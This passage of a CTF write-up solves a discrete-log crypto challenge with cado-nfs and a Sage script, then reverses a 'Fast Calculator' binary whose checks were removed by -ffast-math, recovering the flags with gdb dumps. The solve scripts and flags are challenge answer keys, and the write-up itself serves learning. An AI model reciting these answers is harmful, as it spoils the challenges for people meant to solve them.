14
15
16
17
</pre></td><td class="rouge-code"><pre>crack_the_safe$ cado-nfs.py -dlp -ell 9213409941746658353293481 target=2874921958440504604797627466936335381864476070281841795223 4170887899225220949299992515778389605737976266979828742347
[...]
Info:Complete Factorization / Discrete logarithm: Total cpu/elapsed time for entire Discrete logarithm: 247.08/102.098
Info:root: If you want to compute one or several new target(s), run ./cado-nfs.py /tmp/cado.sw277cqc/p60.parameters_snapshot.0 target=&lt;target&gt;[,&lt;target&gt;,...]
Info:root: logbase = 689700230313623370222183478814904246546188182712829892313
Info:root: target = 2874921958440504604797627466936335381864476070281841795223
Info:root: log(target) = 8483029440103488262728827 mod ell
8483029440103488262728827

crack_the_safe$ cado-nfs.py /tmp/cado.sw277cqc/p60.parameters_snapshot.0 target=243520888574004127020636437512040223299982667282493152276
[...]
Info:Complete Factorization / Discrete logarithm: Total cpu/elapsed time for entire Discrete logarithm: 325.79/124.619 # &lt;- this time seems to be accumulative from the previoius run
Info:root: If you want to compute one or several new target(s), run ./cado-nfs.py /tmp/cado.sw277cqc/p60.parameters_snapshot.1 target=&lt;target&gt;[,&lt;target&gt;,...]
Info:root: logbase = 689700230313623370222183478814904246546188182712829892313
Info:root: target = 243520888574004127020636437512040223299982667282493152276
Info:root: log(target) = 1607529382666405025125600 mod ell
1607529382666405025125600
</pre></td></tr></tbody></table></code></pre></div></div>

<p>From the output we know the base is 6897002[…]9892313, and the log is 8483029440103488262728827 and 1607529382666405025125600 respectively. Now we just plug in the value, do CRT with the rest of the result, and we recover the flag.</p>

<p><code class="language-plaintext highlighter-rouge">uiuctf{Dl0g_w/__UnS4F3__pR1Me5_}</code></p>

<p>** Note that from the output above, we can see that the total time elapses for the two command is around 124.6 seconds, or around 2 minute. I’m running this on a basic 11th gen i7 laptop, which is relatively low computing power I’d say. So it’s not exactly fast, but reasonable for most computer. I think most computer can compute DLP using cado-nfs way faster than mine.</p>

<div class="accordion mb-2" id="safe_cracker_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-safe_cracker_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#safe_cracker_py-content" aria-expanded="true" aria-controls="safe_cracker_py-content">
         <p>Show solve.sage</p>
 
      </button>
    </p>
    <div id="safe_cracker_py-content" class="accordion-collapse collapse" aria-labelledby="hd-safe_cracker_py" data-bs-parent="#safe_cracker_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">subprocess</span> <span class="kn">import</span> <span class="n">check_output</span>

<span class="n">p</span> <span class="o">=</span> <span class="mi">4170887899225220949299992515778389605737976266979828742347</span>
<span class="n">ct</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">"ae7d2e82a804a5a2dcbc5d5622c94b3e14f8c5a752a51326e42cda6d8efa4696"</span><span class="p">)</span>
<span class="n">k</span> <span class="o">=</span> <span class="mh">0x49545b7d5204bd639e299bc265ca987fb4b949c461b33759</span>

<span class="n">F</span> <span class="o">=</span> <span class="n">GF</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">p_fs</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">151</span><span class="p">,</span> <span class="mi">577</span><span class="p">,</span> <span class="mi">67061</span><span class="p">,</span> <span class="mi">18279232319</span><span class="p">,</span> <span class="mi">111543376699</span><span class="p">,</span> <span class="mi">9213409941746658353293481</span><span class="p">]</span>
<span class="n">ell</span> <span class="o">=</span> <span class="n">p_fs</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">remain</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="n">ell</span>

<span class="c1"># to send to cado_nfs
</span><span class="k">print</span><span class="p">(</span><span class="n">F</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span><span class="o">^</span><span class="p">(</span><span class="n">remain</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">F</span><span class="p">(</span><span class="n">k</span><span class="p">)</span><span class="o">^</span><span class="p">(</span><span class="n">remain</span><span class="p">))</span>

<span class="c1"># from cado_nfs
# cado-nfs.py -dlp -ell 9213409941746658353293481 target=2874921958440504604797627466936335381864476070281841795223 4170887899225220949299992515778389605737976266979828742347
# cado-nfs.py /tmp/cado.vxkkpmj5/p60.parameters_snapshot.0 target=2874921958440504604797627466936335381864476070281841795223
</span><span class="n">log7</span><span class="p">,</span> <span class="n">logk</span> <span class="o">=</span> <span class="mi">8483029440103488262728827</span><span class="p">,</span> <span class="mi">1607529382666405025125600</span>
<span class="n">logbase</span> <span class="o">=</span> <span class="mi">689700230313623370222183478814904246546188182712829892313</span>

<span class="n">res</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">prime</span> <span class="ow">in</span> <span class="n">p_fs</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
    <span class="n">r</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="n">prime</span>
    <span class="n">P7</span> <span class="o">=</span> <span class="n">F</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span><span class="o">^</span><span class="n">r</span>
    <span class="n">Pk</span> <span class="o">=</span> <span class="n">F</span><span class="p">(</span><span class="n">k</span><span class="p">)</span><span class="o">^</span><span class="n">r</span>
    <span class="n">res</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">discrete_log</span><span class="p">(</span><span class="n">Pk</span><span class="p">,</span> <span class="n">P7</span><span class="p">))</span>

<span class="k">assert</span><span class="p">(</span><span class="n">F</span><span class="p">(</span><span class="n">logbase</span><span class="p">)</span><span class="o">^</span><span class="n">log7</span> <span class="o">==</span> <span class="n">F</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span><span class="o">^</span><span class="n">remain</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">F</span><span class="p">(</span><span class="n">logbase</span><span class="p">)</span><span class="o">^</span><span class="n">logk</span> <span class="o">==</span> <span class="n">F</span><span class="p">(</span><span class="n">k</span><span class="p">)</span><span class="o">^</span><span class="n">remain</span><span class="p">)</span>
<span class="n">full_log_ell</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">logk</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">log7</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">ell</span><span class="p">)</span> <span class="o">%</span> <span class="n">ell</span><span class="p">)</span>
<span class="k">assert</span><span class="p">((</span><span class="n">F</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span><span class="o">^</span><span class="n">remain</span><span class="p">)</span><span class="o">^</span><span class="n">full_log_ell</span><span class="p">,</span> <span class="n">F</span><span class="p">(</span><span class="n">k</span><span class="p">)</span><span class="o">^</span><span class="n">remain</span><span class="p">)</span>

<span class="n">key</span> <span class="o">=</span> <span class="n">CRT</span><span class="p">(</span><span class="n">res</span><span class="o">+</span><span class="p">[</span><span class="n">full_log_ell</span><span class="p">],</span> <span class="n">p_fs</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">==</span> <span class="n">k</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">key</span><span class="p">)),</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">).</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ct</span><span class="p">))</span>

<span class="c1">#uiuctf{Dl0g_w/__UnS4F3__pR1Me5_}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h2 id="reversing">Reversing</h2>

<h3 id="fast-calculator">Fast Calculator</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>Check out our new super fast calculator!

This challenge is sponsored by Battelle.

Author: Minh
Solves: 36
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are given a binary. After running it, it seems like the program is a simple calculator.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre>fast_calc$ ./calc
Welcome to the fastest, most optimized calculator ever!
Example usage:
  Add:       1 + 2
  Subtract:  10 - 24
  Multiply:  34 * 8
  Divide:    20 / 3
  Modulo:    60 % 9
  Exponent:  2 ^ 12

If you enter the correct secret operation, I might decrypt the flag for you! ^-^

Enter your operation: 1 + 1
Result: 2.000000
Enter your operation: 2 * 2
Result: 4.000000
Enter your operation:
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Obviously we will not be able to guess the correctly operation, so let’s start decompiling the program. After looking at the code in ghidra, we get the rough pseudo code of the program as follow.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>def main():
	flag = some_initial_flag_state
	sscanf("%lf %c %lf", lop, op, rop)
	res = calculate(op, lop, rop)
	if res == 8573.8567:
		for i in range(368):
			if guantlet(calculate(equations[i])):
				flip_bit(i, flag)
		print(flag)
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Now we know the secret value, we can create an equation that result in that, like 8573.8567 + 0, and that should give us the flag, right? Running the program with that input gives us the following output.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre>fast_calc$ ./calc
Welcome to the fastest, most optimized calculator ever!
Example usage:
  Add:       1 + 2
  Subtract:  10 - 24
  Multiply:  34 * 8
  Divide:    20 / 3
  Modulo:    60 % 9
  Exponent:  2 ^ 12

If you enter the correct secret operation, I might decrypt the flag for you! ^-^

Enter your operation: 8573.8567 + 0
Result: 8573.856700

Correct! Attempting to decrypt the flag...
I calculated 368 operations, tested each result in the gauntlet, and flipped 119 bits in the encrypted flag!
Here is your decrypted flag:

uiuctf{This is a fake flag. You are too fast!}

Enter your operation:
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Clearly there’s something wrong, but where? If we look into the guantlet function, this is the pseudo code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>char gauntlet(int param_1)

{
  char cVar1;
  
  cVar1 = isNegative(param_1);
  if (((cVar1 == '\0') &amp;&amp; (cVar1 = isNotNumber(param_1), cVar1 == '\0')) &amp;&amp;
     (cVar1 = isInfinity(param_1), cVar1 == '\0')) {
    return 0;
  }
  return 1;
}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>But if we look into the isNotNumber function and the isInfinity function, they are both empty:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>char isNotNumber(void)
{
  return 0;
}
char isInfinity(void)
{
  return 0;
}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Seems like when the program is compiled, these checks are optimized out. What we can do now is to re-implement those checks outselves, or extract the equations and do the comprisons with the correct checks. I choose to hook gdb to printout the result of each equations and extract the bits from there. The initial state of the flag can be gathered statically from ghidra.</p>

<p>Using gdb, we can set break points at the start of the guantlet function, and gather the result of each calculation. I print out the rax register, which is indirectly used to pass the argument into the guantlet function (The series of mov rax, xmm0). Since I use gef-gdb, I disabled the context output so the display function shows up.  With those set up, I just let the program run, enter the equation <code class="language-plaintext highlighter-rouge">8573.8567 + 0</code>, and press continue a bunch of time to gather the output from gdb. I then do some string processing to determine if the result fits the gauntlet function criteria, and reconstruct the key bit strings from there.</p>

<p>The detail of the processing steps can be found in my solve script. I trime down the output from gdb and only leave the lines that displays the desire outputs. Note that -0.0 should be considered negative, which is likely coming from rounding a really small negative number. In my code, I simply match if there is a negative sign in the string or if <code class="language-plaintext highlighter-rouge">nan</code> is in the string, I didn’t check for <code class="language-plaintext highlighter-rouge">inf</code> as it doesn’t exist in the result.</p>

<p>During the after competition Q&amp;A section, we learn that this discrepancy is caused by the <code class="language-plaintext highlighter-rouge">-ffast-math</code> optimization flag. According to the <a href="https://gcc.gnu.org/wiki/FloatingPointMath">manual</a>, this flag enables multiple optimization, which assumes that there are no negative zero, no infinite number, and no “Not a number”. This cause the function in this challenge to be optimized out and return the wrong results, like always return 0 for the <code class="language-plaintext highlighter-rouge">isInfinite</code> and <code class="language-plaintext highlighter-rouge">isNotNumber</code> functions.</p>

<p>Anyway, after recovering the results of the calculations, we can recover the correct flag: <code class="language-plaintext highlighter-rouge">uiuctf{n0t_So_f45t_w1th_0bscur3_b1ts_of_MaThs}</code></p>

<div class="accordion mb-2" id="fast_math_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-fast_math_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#fast_math_solve-content" aria-expanded="true" aria-controls="fast_math_solve-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="fast_math_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-fast_math_solve" data-bs-parent="#fast_math_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span><span class="p">,</span> <span class="n">u64</span>
<span class="kn">from</span> <span class="nn">collections</span> <span class="kn">import</span> <span class="n">namedtuple</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="n">flag_init</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x10eeb90001e1c34b</span><span class="p">,</span> <span class="mh">0xcb382178a4f04bee</span><span class="p">,</span> <span class="mh">0xe84683ce6b212aea</span><span class="p">,</span> <span class="mh">0xa0f5cf092c8ca741</span><span class="p">,</span> <span class="mh">0x20a92860082772a1</span><span class="p">,</span> <span class="mh">0x0000e9a435abb366</span><span class="p">]</span>

<span class="c1">## In gdb, run the following
## I have gef enable, so to disable the context command on break point
# gef config context.enable 0
## display the argument send into gauntlet function
# display/f $rax
## break at the function entry 
# break *gauntlet
## run and record the output at each break point
# continue
</span>
<span class="n">gauntlet_result_str</span> <span class="o">=</span> <span class="s">"""1: /f $rax = 314.23572239497753
1: /f $rax = 343.1722504437929
1: /f $rax = -101.85126480640992
1: /f $rax = -0.14835009306536753
1: /f $rax = -70.145728960527265
1: /f $rax = -2.6849183740546723
1: /f $rax = -2.3380621927091738
1: /f $rax = 86.218782945280964
1: /f $rax = -3.3639097471103775e+173
1: /f $rax = 46094.822986351515
1: /f $rax = -67.229647073100352
1: /f $rax = 438.01221554209553
1: /f $rax = -62.22407895907827
1: /f $rax = 0.5686960704974473
1: /f $rax = -11.235858046371675
1: /f $rax = 45.736994758008109
1: /f $rax = -18.801101024741456
1: /f $rax = 411.84732421177659
1: /f $rax = 45.272562437363035
1: /f $rax = -0.37696866777117749
1: /f $rax = 88.471730127468447
1: /f $rax = -115.84593208858394
1: /f $rax = 4.7067980704139161e+81
1: /f $rax = 0.54632989995632775
1: /f $rax = 365.5900085787963
1: /f $rax = -12224407890038.037
1: /f $rax = -900.03969886574691
1: /f $rax = 192.03613945346399
1: /f $rax = 22794.907192724011
1: /f $rax = 5.5838341534360488e+102
1: /f $rax = -3.2637463171100762
1: /f $rax = 159.0671967048533
1: /f $rax = 30.011102835658335
1: /f $rax = -0.77702398729932365
1: /f $rax = -1.4816482051550224
1: /f $rax = -1.0767063255033242e+68
1: /f $rax = 129.41389307826773
1: /f $rax = -104.65344600547064
1: /f $rax = 257.8983468906606
1: /f $rax = 576.9359463423001
1: /f $rax = -0.47174390929966187
1: /f $rax = -4.1909544608317306
1: /f $rax = 0.23304225970708495
1: /f $rax = -84.792660796004725
1: /f $rax = -70341.035023618824
1: /f $rax = -8.3558344696096316e+64
1: /f $rax = -112.71915174806799
1: /f $rax = -0.77501348533601244
1: /f $rax = -0.79477368623462019
1: /f $rax = 138.55118925698957
1: /f $rax = 62867.158634785257
1: /f $rax = -3.000328242329492e+180
1: /f $rax = 2.1776919356209225e+151
1: /f $rax = -2.1194889785952991
1: /f $rax = 826.09998445102667
1: /f $rax = -360.78132147755349
1: /f $rax = 0.74474414688805379
1: /f $rax = -21.526343208515129
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -26.071269727239439
1: /f $rax = -0
1: /f $rax = 1.1862373081337182e+117
1: /f $rax = -195.86680296791417
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 51014.532345230917
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = -15.569984026884583
1: /f $rax = -54.755056250318489
1: /f $rax = 14200.373689706015
1: /f $rax = 218.53775827884192
1: /f $rax = 7.7720611029683001e+113
1: /f $rax = -54359.046985524998
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -6.370935462591425e+103
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -493.83639903330982
1: /f $rax = 91.739040381445648
1: /f $rax = -0
1: /f $rax = 5.5930414556039505
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -648.15538239805801
1: /f $rax = -1.7360428852698293
1: /f $rax = -88380681806354.375
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 149.63032247415293
1: /f $rax = -1.4381306131731484e+175
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 17796.731831557954
1: /f $rax = 472.60782602556361
1: /f $rax = 8.4333081523481042
1: /f $rax = -69.343045576994086
1: /f $rax = 166.97777525280043
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -0.78663690221494187
1: /f $rax = 124.48452366441916
1: /f $rax = -24.166235583316563
1: /f $rax = -0
1: /f $rax = -91893.006289350305
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = -77.947739723395614
1: /f $rax = 351.31148102293406
1: /f $rax = 677.84610642219423
1: /f $rax = -0
1: /f $rax = 61017.564352902024
1: /f $rax = -730.71847028262323
1: /f $rax = -2.9862791904668937e+57
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 0.46137120873229431
1: /f $rax = -1.5805958630033241
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -2047.9485377909623
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -279.92789568076961
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -3.5566717877102974e+160
1: /f $rax = -0
1: /f $rax = -35011.007801930165
1: /f $rax = -70.73409314339824
1: /f $rax = 0.13748648705254249
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -127.63031163891606
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -8.3377831242250409
1: /f $rax = -0
1: /f $rax = 73914.284889780072
1: /f $rax = -1.1205570846974704e+30
1: /f $rax = 868.91249403708673
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -3781.1025679452832
1: /f $rax = -398.23202773538833
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 6.150332565634857e+123
1: /f $rax = 106.92708315198797
1: /f $rax = -126958.01118794817
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = 2.3235637995996195
1: /f $rax = 1172.4570923687561
1: /f $rax = 282667694185.37067
1: /f $rax = 419.22101622342973
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 1.5015581523042944e+106
1: /f $rax = 14.116915444637357
1: /f $rax = -670.80920696640771
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -40.175576810129257
1: /f $rax = -0
1: /f $rax = -535.08846436597457
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -24.996900828879973
1: /f $rax = -0.4482337253576606
1: /f $rax = -22075.351523103447
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -66629.115626130355
1: /f $rax = -0
1: /f $rax = 4.7736504866351757
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -750.41785743580328
1: /f $rax = -397.49355092611438
1: /f $rax = 421.45554904220558
1: /f $rax = 272.44106051590188
1: /f $rax = -39853.033198178338
1: /f $rax = 163773.34383559634
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 909.06916666172924
1: /f $rax = -17044.293607727042
1: /f $rax = 0.65923135526929078
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 281.64059966529658
1: /f $rax = -2.8299636815986545e+135
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 362.73719659653017
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -1.3883485850670447
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 93.153374984795107
1: /f $rax = 13.013689110180962
1: /f $rax = 1.9706463137115084
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -332.70825023576583
1: /f $rax = -0.14833759536673966
1: /f $rax = 9.9017259669548139
1: /f $rax = 31842.681577482257
1: /f $rax = 3.1202574779650742
1: /f $rax = -0
1: /f $rax = 16382.118960546628
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -6.7132868546727442e+184
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -174.78551375100216
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = -1987.883710049279
1: /f $rax = -0
1: /f $rax = 318.67029200471404
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 65.16561987924581
1: /f $rax = 20.353222265520685
1: /f $rax = -0.73389327660335457
1: /f $rax = -266.24812381690595
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 112.28331135754138
1: /f $rax = -775.0884636297726
1: /f $rax = -0
1: /f $rax = -123.49647710482895
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 68.32948123433016
1: /f $rax = 42216.592524590371
1: /f $rax = -130.97917757842748
1: /f $rax = 29432.765402793259
1: /f $rax = -878.51164428076936
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 306.40280919331701
1: /f $rax = -0
1: /f $rax = -0.20570015125935212
1: /f $rax = -0
1: /f $rax = 47.573162560923492
1: /f $rax = 23.030280017535915
1: /f $rax = 378.44803504327092
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = 1.1328069324948051e+46
1: /f $rax = -210.34934864154206
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = -1.1007026146671162
1: /f $rax = -26.400390640113017
1: /f $rax = 397.48613844398091
1: /f $rax = 38525.844533000112
1: /f $rax = 30.648157313300999
1: /f $rax = 6.1955288111496536
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 0.70927007491958105
1: /f $rax = -0
1: /f $rax = 1.8864493518170104e+26
1: /f $rax = 0.16905148155093813
1: /f $rax = 1.3585953817759831e+92
1: /f $rax = 181.19460341004981
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 225.29942051219257
1: /f $rax = -185.39637228963687
1: /f $rax = 358.19308718059125
1: /f $rax = -0
1: /f $rax = 95.617280730657967
1: /f $rax = 64822.754928640163
1: /f $rax = -8.3805738251753192e+131
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 280.87137523260935
1: /f $rax = -0
1: /f $rax = -1.2639319359462708e+108
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -1.3969847218364998e+131
1: /f $rax = 0.14077936300692293
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 5.319300019172033
1: /f $rax = 527.08403233634419
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -32.299552813442517
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -2.429700289221689e+81
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 1.2655924566762723e+32
1: /f $rax = -0.92793953369268045
1: /f $rax = 219499.6079292119
1: /f $rax = 2.0876504455883737e+58
1: /f $rax = 1.6366868264419469e+113
1: /f $rax = -1.0405670972109875
1: /f $rax = -1.36021695876653e+144
1: /f $rax = -79.584542222673861
1: /f $rax = -146954.02785373406
1: /f $rax = -4.6878849674481635e+105
1: /f $rax = 5.2042273135353394
1: /f $rax = 68474.465419736342
1: /f $rax = -0
1: /f $rax = -263.87225021489024
1: /f $rax = -137.14753940351306
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 65.584892774741547
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 1.8375862375292325e+61
1: /f $rax = 64.923792584856926
1: /f $rax = -0
1: /f $rax = 409.39159782790705
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = 163.56416201962367
1: /f $rax = -0
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -7.6372145447543532e+61
1: /f $rax = -0.61724198201350899
1: /f $rax = 25447.55907409166
1: /f $rax = -41.845610177283163
1: /f $rax = 2.4896131626248281
1: /f $rax = 1.0207860141139902
1: /f $rax = -33941.712961799269
1: /f $rax = 7.8614623295186448
1: /f $rax = -3.8777423969773022
1: /f $rax = -0.68108037017455914
1: /f $rax = -0
1: /f $rax = -685.17496006588283
1: /f $rax = -8.0149697814365481
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 285.92254208579675
1: /f $rax = -287.40609702408972
1: /f $rax = 468.70035658374701
1: /f $rax = -nan(0x8000000000000)
1: /f $rax = -0
1: /f $rax = -0
1: /f $rax = 58.03201117994729
